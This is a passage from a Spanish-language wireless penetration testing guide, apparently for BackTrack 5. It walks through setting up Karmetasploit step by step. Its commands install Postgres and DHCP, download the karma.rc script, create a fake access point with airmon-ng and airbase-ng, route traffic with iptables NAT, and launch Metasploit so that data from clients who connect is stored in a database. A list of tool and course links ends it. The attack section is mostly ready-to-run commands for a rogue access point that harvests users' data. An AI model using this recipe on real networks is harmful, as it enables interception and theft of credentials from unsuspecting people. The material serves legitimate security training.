>>>>> Informacin Karmetasploit: http://www.offensive-security.com/metasploit-unleashed/Karmetasploit >>>>> Informacin Postgresql: http://www.postgresql.org/ 1. Antes de empezar con karma instalaremos en postgresql y dhcp3-server pues los necesitaremos a continuacin, ya que karma puede guardar los datos de los clientes que se asocien al punto de acceso creado en una base de datos. apt-get install postgresql libpq-dev dhcp3-server

2. Ahora descargaremos el script de karma con wget: cd /pentest/exploits/framework wget http://www.offensive-security.com/downloads/karma.rc

3. Ahora configuramos postgresql: postgres -c psql ALTER USER postgres WITH PASSWORD 'password'; Donde password es la contrasea escogida \q passwd -d postgres sudo su postgres -c passwd E instalamos pg con gem: gem install pg

47

4. Lo siguiente es configurar el servidor dhcp: nano /etc/dhcp3/dhcpd.conf: option domain-name-servers 192.168.1.1; default-lease-time 60; max-lease-time 72; ddns-update-style none; authoritative; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.254; option routers 10.0.0.1; option domain-name-servers 192.168.1.1; }

5. Ahora cambiamos el parmetro de conexin de karma con la base de datos, para ello editamos el script karma.rc: nano karma.rc

48

Cambiamos solo la primera lnea: sintaxis db_connect <usuario BD>:<password usuario BD>@127.0.0.1/<nombre de la base donde se introducirn los datos> db_connect postgres:password@127.0.0.1/karma Donde: postgres usuario de la base de datos, postgres es el usuario por defecto. password contrasea que hemos establecido antes. karma nombre de la base de datos donde se guardar la informacin que obtengamos. No es necesario que exista, metasploit la crear por nosotros sino existe.

6. Ahora ponemos nuestra interfaz en modo monitor con airmon-ng: sintaxis airmon-ng start <interfaz> airmon-ng start wlan1

49

7. Y a continuacin airbase-ng: sintaxis airbase-ng -P -C 30 -c <canal de AP objetivo> -e <ESSID del punto de acceso objetivo> <interfaz en modo monitor> airbase-ng -P -C 30 -c 6 -e APfalso mon0

8. Siguiente paso habilitar at0, configurar iptables, habilitar el ip forwarding y lanzar el cliente dhcp sobre el archivo configurado antes: sintaxis ifconfig <interfaz airbase-ng> up 10.0.0.1 netmask 255.255.255.0 sintaxis iptables -t nat -A POSTROUTING -o <interfaz acceso Internet> -j MASQUERADE sintaxis iptables -A INPUT -s 10.0.0.0/24 -i <interfaz airbase-ng> -j ACCEPT sintaxis echo "1" >/proc/sys/net/ipv4/ip_forward sintaxis dhcpd3 -cf <lugar donde esta la configuracin del servidor dhcp> <interfaz airbase-ng> ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE iptables -A INPUT -s 10.0.0.0/24 -i at0 -j ACCEPT echo "1" >/proc/sys/net/ipv4/ip_forward dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

9. Ahora lanzamos metasploit junto con karma: msfconsole -r karma.rc

50

Veremos como se crea la base de datos karma:

51

Por ltimo nos quedar esperar a que los clientes se conecten a nuestro punto de acceso y los datos tiles se irn almacenando en la base de datos karma para su posterior anlisis:

52

Documentacin
Suite Aircrack-ng: http://www.aircrack-ng.org/documentation.html Airbase-ng: http://www.aircrack-ng.org/doku.php?id=airbase-ng Aircrack-ng: http://www.aircrack-ng.org/doku.php?id=aircrack-ng Airdecap-ng: http://www.aircrack-ng.org/doku.php?id=airdecap-ng Aireplay-ng: http://www.aircrack-ng.org/doku.php?id=aireplay-ng Airmon-ng: http://www.aircrack-ng.org/doku.php?id=airmon-ng Airodump-ng: http://www.aircrack-ng.org/doku.php?id=airodump-ng Packetforge-ng: http://www.aircrack-ng.org/doku.php?id=packetforge-ng coWPAtty: http://www.willhackforsushi.com/Cowpatty.html Pyrit: http://code.google.com/p/pyrit Ettercap: http://ettercap.sourceforge.net Metasploit: http://metasploit.com S.E.T.: http://www.social-engineer.org Backtrack 5 R1: http://www.backtrack-linux.org/downloads Script actualizacin Backtrack: http://code.google.com/p/bt5-fixit/ Listado de diccionarios: http://www.dragonjar.org/diccionarios-para-realizarataques-de-fuerza-bruta.xhtml MITM: http://www.flu-project.com/man-in-the-middle.html Rainbow Tables: http://www.flu-project.com/rainbow-tables-tablas-arco-iris.html Configuracin iptables: http://www.redesymas.org/2011/07/configuracion-deiptables-firewall-en.html Curso Backtrack 5: http://www.dragonjar.org/curso-backtrack-5-enespanol.xhtml Karmetasploit: http://www.offensive-security.com/metasploitunleashed/Karmetasploit BackTrack 5 Wireless Penetration Testing Beginner's Guide: http://www.amazon.es/BackTrack-Wireless-Penetration-TestingBeginners/dp/1849515581 Metasploit: The Penetration Tester's Guide: A Penetration Tester's Guide: http://www.amazon.es/Metasploit-Penetration-TestersGuide/dp/159327288X/ref=sr_1_14?s=foreignbooks&ie=UTF8&qid=1321668385&sr=1-14 Security Tube: http://www.securitytube.net

53